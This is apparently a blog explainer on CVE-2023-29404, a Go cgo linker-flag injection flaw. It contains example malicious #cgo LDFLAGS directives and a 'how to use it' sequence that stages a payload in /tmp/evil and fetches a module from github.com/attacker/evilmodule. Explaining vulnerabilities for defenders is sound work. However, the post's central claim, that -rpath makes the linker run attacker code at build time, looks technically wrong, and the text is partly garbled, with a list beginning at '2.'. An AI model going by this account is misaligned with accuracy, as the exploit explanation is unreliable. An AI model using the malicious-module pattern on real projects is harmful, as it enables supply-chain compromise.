Summary:  
A critical vulnerability (CVE-2023-29404) in Golang’s cgo tool affects the go command—making it possible for attackers to run any code they want just by getting you to build untrusted code. This post breaks down the mechanics of the bug, how it works with code examples, what you should watch out for, and where to get more information.

What is CVE-2023-29404?

CVE-2023-29404 is a security bug in Go, specifically in the way it handles linker flags (#cgo LDFLAGS) in Go modules using cgo. The bug lets attackers sneak in harmful linker flags, which the Go tool then executes at build time. This even happens when you run harmless looking commands like go get. Since the flaw affects both Go’s default compiler (gc) and gccgo, it has wide impact.

References

- Go CVE-2023-29404 Advisory
- NIST NVD Entry
- Go cgo Docs

How Can This Vulnerability Be Triggered?

When Go code needs to talk to C libraries, it uses cgo. You can give cgo extra instructions using special comments like #cgo LDFLAGS: .... This lets Go code control the linker.

Go tries to protect your build by only allowing safe linker flags. However, some linker flags have required arguments – and the Go tool got confused between which arguments are required and which are optional. This let attackers sneak past Go’s “flag washing” and inject unexpected linker options.

Imagine you (or your CI process) runs

go get github.com/dodgyuser/pwnmodule

If pwnmodule contains this, in a Go source file

// #cgo LDFLAGS: -Wl,-rpath=${WORK}/../../malicious_code.so
import "C"

The Go tool, because of the vulnerability, might let -rpath and its “argument” sneak through, even if it’s not supposed to. If the argument to -rpath is malicious (e.g., it points the linker to a directory with a payload), the linker will load the attacker's code during build.

Or even worse, the attacker could use other linker tricks to execute a script or payload directly.

Take this (malicious) Go source as an example (let’s imagine the payload is in evil.so)

// vulnerable.go
package main

/*
#cgo LDFLAGS: -Wl,-rpath,/tmp/evil
*/
import "C"

import "fmt"

func main() {
    fmt.Println("Hello, world!")
}

When this code is built with a vulnerable Go version, the process might load attacker-controlled code from /tmp/evil (or whatever path is set).

What Does “Arbitrary Code Execution” Mean Here?

If an attacker can get you to build their package—or use go get or go build on code you don’t control—they can run any code they manage to sneak in as a shared library, linker script, or similar. This could mean:

The attacker publishes a module with a sneaky #cgo LDFLAGS directive.

2. Dev/CI Runs go get or go build  
  The developer, or a CI pipeline, fetches and builds the attacker’s module (or a package that depends on it).

Payload Triggers at Build-Time

The attacker’s LDFLAGS smuggle in linking behavior that triggers code execution (e.g., loads a malicious .so library).

evilmodule/evil.go

package evil
/*
#cgo LDFLAGS: -Wl,-rpath,/tmp/evil
*/
import "C"

How to “use” it (do not try on a real machine)

mkdir /tmp/evil
# Put malicious shared library in there, e.g., evil.so

go get github.com/attacker/evilmodule
# Or, your app imports evilmodule and you run: go build
# If vulnerable, code in /tmp/evil/evil.so may be executed

Version 1.20.5, 1.19.10, and newer contain the patch.

Always use the latest release: Go Downloads

Conclusion

CVE-2023-29404 shows that even simple build commands like go get can be dangerous if packages are untrusted. Always keep your toolchain up to date, and treat third-party Go modules with the same caution as any untrusted code.

Further Reading

- Official Security Advisory from Go
- NVD CVE Details
- Guide to Securing Go Modules

Timeline

Published on: 06/08/2023 21:15:00 UTC
Last modified on: 06/16/2023 12:54:00 UTC